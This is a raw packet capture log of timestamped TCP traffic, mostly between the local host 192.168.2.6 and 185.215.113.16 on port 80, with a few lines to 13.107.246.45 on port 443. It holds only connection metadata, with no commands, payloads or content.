Nov 17, 2024 12:35:23.806380987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.806456089 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.806456089 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.833808899 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.833837032 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.833853960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.833877087 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.833921909 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.833933115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.834034920 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.834086895 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.834105968 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.834116936 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.834186077 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.834187031 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.879921913 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.879967928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.879990101 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.880022049 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.880063057 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.880063057 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.880120039 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.880280018 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.880300045 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.880330086 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.880356073 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.880386114 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.880474091 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.880494118 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.880512953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.880534887 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.880562067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.880565882 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.880580902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.880594015 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.880675077 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.881066084 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881123066 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881141901 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881259918 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.881268978 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881289005 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881458998 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.881496906 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881561995 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881567001 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.881581068 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881634951 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.881678104 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881695986 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881802082 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881834030 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881932974 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.881933928 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.881959915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881978035 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.881997108 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882136106 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882153988 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882174015 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882190943 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.882190943 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.882195950 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882374048 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882376909 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.882488966 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882508993 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882535934 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.882550955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882561922 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.882632971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882652998 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882673025 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882694960 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.882718086 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.882895947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882915974 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.882936001 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.883059025 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.883091927 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.883116961 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.883140087 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.883177042 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.883182049 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.883182049 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.883403063 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.883423090 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.883440971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.883460999 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.883477926 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.883497000 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.885140896 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.885180950 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.885200977 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.885235071 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.885349989 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.897492886 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.923800945 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.923855066 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.923877001 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.923983097 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.950819016 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.950872898 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.950896978 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.950939894 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.951040983 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.951050997 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.951113939 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.951133013 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.951152086 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.951250076 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.951250076 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.951281071 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.951301098 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.951334000 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.951384068 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.969754934 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.997020960 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.997070074 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.997092962 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.997242928 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.997275114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.997334003 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.997356892 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.997494936 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.997514963 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.997535944 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.997560978 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.997675896 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.997752905 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.997797966 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.997818947 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.997839928 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998022079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998040915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998085022 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.998085022 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.998115063 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.998164892 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998326063 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998347044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998369932 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998409986 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.998543978 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.998596907 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998672962 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998733997 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998804092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998853922 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.998868942 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998954058 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998974085 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.998994112 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.999017954 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.999075890 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.999075890 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.999228954 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.999248981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.999279022 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.999299049 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.999342918 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.999511957 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.999537945 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.999546051 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.999556065 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.999573946 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.999747038 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.999809027 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.999825954 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.999826908 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:23.999958038 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:23.999958038 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.000003099 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000020981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000032902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000047922 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000231028 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.000231028 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.000247955 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000319004 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000341892 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000365019 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000403881 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000428915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000444889 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.000444889 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.000587940 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.000797987 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000818014 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000837088 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000857115 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000880003 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000889063 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.000904083 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.000921011 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.001148939 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.041053057 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.041107893 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.041131020 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.041419029 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.068090916 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.068123102 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.068159103 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.068178892 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.068197012 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.068202019 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.068221092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.068236113 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.068242073 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.068274021 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.068279982 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.068310976 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.068341017 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.068361044 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.068449020 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.085412025 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.114392996 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.114434004 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.114459991 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.114500046 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.114528894 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.114548922 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.114573956 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.114594936 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.114614010 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.114614010 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.114614010 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.114636898 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.114768982 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.114780903 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.114792109 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.114897013 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.114998102 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115020037 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115041971 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115056038 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.115067959 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.115139008 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115243912 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115336895 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.115351915 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115402937 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115425110 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115462065 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.115495920 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.115495920 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.115510941 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115534067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115554094 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115592003 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.115746975 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115786076 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115808010 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115885973 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115967989 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.115991116 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116097927 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116120100 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116143942 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116168022 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116234064 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.116234064 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.116235018 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.116235018 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.116395950 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116416931 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116441011 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116465092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116542101 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.116656065 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116682053 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116705894 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116727114 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116746902 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.116749048 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116792917 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.116904020 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.116941929 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117043972 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.117064953 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117088079 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117108107 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117206097 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117244959 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117259026 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.117268085 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117285967 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.117424011 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117472887 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.117522001 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117537975 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117558002 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117580891 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117604017 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117626905 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.117640972 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.117666960 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.117868900 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.118002892 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.118021011 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.118040085 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.118057013 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.118058920 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.118077993 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.118094921 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.118122101 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.118122101 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.118227005 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.157358885 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.158155918 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.158194065 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.158214092 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.158286095 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.158338070 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.158355951 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.158394098 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.158499002 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.160388947 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.160417080 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.160676003 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:24.160682917 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:24.185396910 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.185420990 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.185446024 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.185528994 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.185548067 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.185566902 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.185590029 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.185722113 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.185723066 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.185723066 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.185755968 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.187226057 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.231277943 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.231303930 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.231548071 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.231600046 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.231621981 CET	80	49751	185.215.113.16	192.168.2.6
Nov 17, 2024 12:35:24.231646061 CET	49751	80	192.168.2.6	185.215.113.16
Nov 17, 2024 12:35:24.231755018 CET	80	49751	185.215.113.16	192.168.2.6
